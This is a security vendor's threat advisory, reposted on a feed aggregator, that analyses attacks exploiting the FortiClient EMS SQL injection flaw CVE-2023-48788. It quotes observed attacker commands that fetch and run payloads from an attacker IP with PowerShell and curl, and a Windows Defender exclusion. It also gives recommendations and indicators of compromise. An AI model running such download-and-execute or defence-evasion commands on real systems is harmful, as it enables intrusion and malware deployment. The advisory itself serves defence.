惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
Darknet – Hacking Tools, Hacker News & Cyber Security
NISL@THU
NISL@THU
S
Securelist
O
OpenAI News
S
Security Affairs
Cyberwarzone
Cyberwarzone
T
Threatpost
Simon Willison's Weblog
Simon Willison's Weblog
The Last Watchdog
The Last Watchdog
L
LINUX DO - 最新话题
C
Cisco Blogs
PCI Perspectives
PCI Perspectives
SecWiki News
SecWiki News
S
Secure Thoughts
GbyAI
GbyAI
I
Intezer
AWS News Blog
AWS News Blog
F
Fortinet All Blogs
I
InfoQ
阮一峰的网络日志
阮一峰的网络日志
Google Online Security Blog
Google Online Security Blog
www.infosecurity-magazine.com
www.infosecurity-magazine.com
A
About on SuperTechFans
S
Schneier on Security
P
Proofpoint News Feed
雷峰网
雷峰网
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
小众软件
小众软件
H
Heimdal Security Blog
Microsoft Security Blog
Microsoft Security Blog
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
T
The Exploit Database - CXSecurity.com
T
Threat Research - Cisco Blogs
V
V2EX
L
Lohrmann on Cybersecurity
Security Latest
Security Latest
A
Arctic Wolf
Apple Machine Learning Research
Apple Machine Learning Research
H
Hacker News: Front Page
Cisco Talos Blog
Cisco Talos Blog
Webroot Blog
Webroot Blog
T
Tenable Blog
MyScale Blog
MyScale Blog
博客园 - 司徒正美
S
SegmentFault 最新的问题
Y
Y Combinator Blog
腾讯CDC
Hacker News: Ask HN
Hacker News: Ask HN
M
MIT News - Artificial intelligence
G
GRAHAM CLULEY

Todyl Blog

CyberChef: How to Decode & Decrypt Malicious Scripts (Step-by-Step Guide) Achieving Zero Trust with SASE: A Practical Roadmap for Modern Network Securityso like MSP Security Maturity Assessment: Why 79% of MSPs Are Stuck in 2025 The Rising Threat of Malicious AI: What Every Organization Needs to Know Iran Cyber Threat 2026: What SMBs and MSPs Need to Know The OneStart AI Browser Deception Cyber Insurance Requirements Based on Industry Why Third-Party Security Certification Is Your MSP's Competitive Edge Why Cyber Insurance Carriers Are Shifting to Security Assurance Iran Conflict and Cyber Risk: What North American Organizations Need to Know ‍ Why Cyber Resilience Requires Security, Compliance, and Insurance MSP Security Services: How to Position Identity Protection as Competitive Advantage Identity Security Gap Assessment: A Step-by-Step Guide for MSPs How Credential Theft Attacks Are Costing MSP Clients Millions Do I Need Cyber Insurance as a Small Business? Advanced Persistent Threats (APTs) Explained Preparing for CMMC Level 1: What Your Organization Needs to Do The Real Cost of Doing Nothing in Cybersecurity MSP Security: Build vs Buy SOC The Rise of a Cybercrime Alliance: What LockBit, Qilin, and DragonForce Mean for Business Risk Cyber Threat Recovery Strategies for MSPs What MSPs Need to Know about CIRCIA Final Rule ClickFix: The Evolution of Copy-Paste Social Engineering Akira Ransomware: Threat Assessment of a Scalable RaaS Operation The Dos and Don’ts of Applying for a Cyber Insurance Policy What Is Threat Hunting? A Practical Guide for MSPs and SMBs The Business Case for Cyber Threat Management Evaluating Free and Open Source SIEM Tools in 2026 How organizations can combat BEC Using SASE to help meet cyber insurance requirements Introducing the Anomaly Framework Stopping Identity Threats with ITDR through MXDR Security Operations Over Tools Beyond Tools: A Strategic Approach to Data Security Cyber Threat Response Strategies for MSPs Threat Advisory: Email Account Compromise BECs In the Wild: When Millions of People Are Expecting the Same Email Michigan and Wisconsin Proposed Age Verification Bills and the Impact on VPNs and SASE: What You Need to Know Cyber Threat Detection Strategies for MSPs Cyber Threat Prevention Strategies for MSPs Simplifying CMMC Level 1 with Todyl GRC How to Complete Your CMMC Level 1 Self-Assessment: A Step-by-Step Walkthrough Cyber Threats Don't Take Time Off How MSPs Build Lasting Client Relationships Through Proactive Operations Risk Management for MSPs: Why Business Context Changes Everything 5 Pillars for Security Program Growth in 2025 One Action MSPs can take to Address Risk and Secure Clients Building Resilience in a Perimeter-less World with Defense-in-Depth Aligning Technology Implementation to Business Outcomes Top 5 Myths about Cybersecurity How Conditional Access Transforms Your Cybersecurity Program Why MSPs need to embrace a prescriptive model How Texas SB 2610 Positions MSPs as Strategic Risk Advisors Simplifying cybersecurity maturity with managed cloud SIEM Addressing firewall vulnerabilities Understanding the Pitfalls of RDP MSP Zero-Day Response Plan: When Security Tools Can't Help You Old is Gold: Tackling Persistent Vulnerabilities How MXDR drives operational efficiencies Using SASE for secure remote access How to find the best endpoint security solution The Cyber Insurance Crisis: Why MSPs and Their Clients Are Struggling What to ask of a prospective endpoint security vendor Thinking Red, Acting Blue: Turning Attack Tactics in Your Favor Zero-Day Attacks and False Alarms: Lessons for MSPs Dissecting the Recent Rise in 2025 Zero Days MSP Security Monitoring Strategy: Identity and Cloud Blind Spots Introducing the Todyl Community: A Collaborative Platform for MSPs Threat Advisory: PDFast Freeware Compromise Navigating Today’s Cybersecurity Threat Landscape: Where MSPs Should Start Threat Advisory: Understanding the Recent SonicWall SSL VPN Vulnerability and How to Protect Your Clients Partner Spotlight: GoTech IT Solutions The Importance of SSL Inspection Navigating Compliance Frameworks: Common Challenges and Effective Solutions Making the most of SASE Web Filtering Iran & Middle-East Geopolitical Shifts: Emerging Cyber Risks for SMBs MSP Security KPIs That Matter: Beyond Vanity Metrics to Business Outcomes MSP Challenges Looking into 2025 Combining EDR and NGAV for Defense-in-Depth Starting Your Security Framework Journey: A Practical Implementation Guide Cyber Insurance vs. Warranties: Key Risk Management Elements Akira Ransomware: A Persistent Threat to MSP Operations Transforming Cyber Insurance for MSPs and Their Clients Two Truths, Double Whammy: Why Vulnerability Remediation Needs a Rethink Using LAN ZeroTrust for segmentation The role of SIEM in incident response Partner Spotlight: 917 Solutions Threat Advisory: Business Email Compromise Campaign using OVPN for Obfuscation Beyond Implementation: Creating an Ongoing Security Framework Program ClickFix: Fake Captcha Leads to Real Damage Streamlining Security and Compliance Information Gathering with Assessments EpiBrowser: A Sophisticated PUP Masquerading as Chromium Partner Spotlight: AnchorSix Tips to Help MSPs Set Goals for the New Year How SIEM helps detect insider threats Massive Wave of Network Security Vulnerabilities Demands Immediate Action FortiJump: The FortiManager Zero-Day Vulnerability Explained Use cases of SASE: Software-defined perimeter Threat Advisory: LightPerlGirl Malware Why MSPs Must Prioritize CIS Critical Security Controls v8.1 for Client Success
Threat Advisory: SQL Injection in FortiClient CVE-2023-48788
Keira Stevens · 2026-01-09 · via Todyl Blog

Despite being a 20-year-old and well-known attack technique, SQL injection remains a prominent vector for threat actors to exploit today’s organizations. Case in point, attackers continue to exploit the documented Fortinet FortiClient EMS Vulnerability, CVE-2023-48788, using SQL injection as the primary incursion point.  

Todyl’s Threat Research team recently noticed the attack vector while evaluating a partner’s log data. Let’s explore the attack’s process, outcomes, and techniques you can use to defend against it.

Attack Chain

  1. SQL injection vulnerability stemming from Fortinet FortiClient Device
  1. Command shell spawned from SQL injection, executing PowerShell script
  1. PowerShell script pulls down JavaScript file and saves it as a batch file
  1. Exclusion added to Windows Defender to evade detection
  1. Executable file downloaded and run
  1. Further commands executed at will

Analysis

Stage One:

The Todyl team initially saw a log come in from a partner’s Fortinet FortiClient device showing the following parent process:

"C:\Program Files\Microsoft SQL Server\MSSQL14.FCEMS\MSSQL\Binn\sqlservr.exe" -sFCEMS

Seemingly out of the ordinary, our team investigated further. The main process that really caught our attention was:

"C:\Windows\system32\cmd.exe" /c POWERSHELL.EXE WGET HTTP://196.251.70.167/FR.JS -OUTFILE BVER.BAT

This indicated, based off of the parent process, that it was a SQL injection attack, per CVE-2023-48788. The parent process then spawned a command shell, which executed PowerShell to pull down a JavaScript file and save it as a batch file.

Next, the attacker ran the exploit again as evidence points to the same parent process mentioned above. This time, however, the attacker is using command shell to execute the BVER.BAT file:

"C:\Windows\system32\cmd.exe" /c CMD.EXE /C BVER.BAT

When this batch file is executed, it launches the following command:

powershell.exe  "Add-MpPreference -ExclusionPath 'C:\ProgramData\Temp'"

The command adds an exclusion to Windows Defender for the C:\ProgramData\Temp directory. This means that Windows Defender will no longer scan that directory or alert to anything malicious in that directory. The technique has been used recently in a different campaign uncovered by the Todyl team:  

https://www.todyl.com/blog/threat-advisory-lightperlgirl-malware

Stage Two:

The second stage of the attack starts off with the following command, which is still part of the execution of BVER.BAT file:

powershell.exe  "wget http://196.251.70.167/responses.xml -outfile audiodg.exe; .\audiodg.exe"

Once again, the command uses PowerShell to pull down a malicious file from the previous IP address. This time, however, the script downloads responses.xml but saves it as an executable file. After downloading and saving the file audiodg.exe, it executes it.

Stage Three:

The third stage now involves audiodg.exe being used to execute commands on the system. All third stages commands have the parent process of:

C:\ProgramData\Temp\audiodg.exe

The attacker first executes tasklist to see what tasks are running on the system.

cmd /c tasklist

Then, they proceed to download another stage of the malware from the same IP address.

cmd /c curl -k https://196.251.70.167/version2.js --output rpcwa.exe

Finally, the attacker issues another recon command.

cmd /c dir

From this point, the bad actor can execute other commands as necessary, but with their malware payload downloaded, they can progress further through the attack lifecycle towards their end goal.

Recommendations, IoCs, and References

Recommendations

The Todyl team recommends the following actions to prevent potential compromise:

  • Patch FortiClient instances for known vulnerabilities
  • Implement defense-in-depth
    • Layer security capabilities, such as those provided by the Todyl Security Platform, to prevent attackers from delving deeper into your environment.
    • Apply an observability layer on top of it all to track events and follow attacker actions for effective remediation.  
    • Disabling security products, downloading suspicious files, and executing commands are all actions that must be reviewed independently, but also as a whole in terms of the attack sequence and greater context of the incident.

IoCs:

audiodg.exe

https://tria.ge/250607-dppv3a1pz5

https://www.virustotal.com/gui/file/2ddb34438d62b0112bc19e03f51c38a72d8c18164208083d98fe9114b6c01ef6

SHA256: 2ddb34438d62b0112bc19e03f51c38a72d8c18164208083d98fe9114b6c01ef6

rpcwa.exe (SharpChisel)

https://www.virustotal.com/gui/file/4619ec1f2bda278722a8ee852a7df3bd0a98311b11e227a63d9c948f73a39b79

SHA256: 4619ec1f2bda278722a8ee852a7df3bd0a98311b11e227a63d9c948f73a39b79

Additional References

https://redcanary.com/blog/threat-intelligence/cve-2023-48788/

https://horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/

https://github.com/jpillora/chisel

About Keira Stevens

Keira Stevens is a Senior Security Research Engineer at Todyl, where she spends most of her time writing and tuning detection rules, and researching threats seen at Todyl. She has almost two decades of experience in the security field that includes giving talks at conferences, writing papers and publishing blogs. Keira as helped stop APT actors attacking companies, working with LE on criminal group takedowns, and mentor new people coming into the security field. When not at work Keira likes to spend time with her family and smashing buttons in online video games.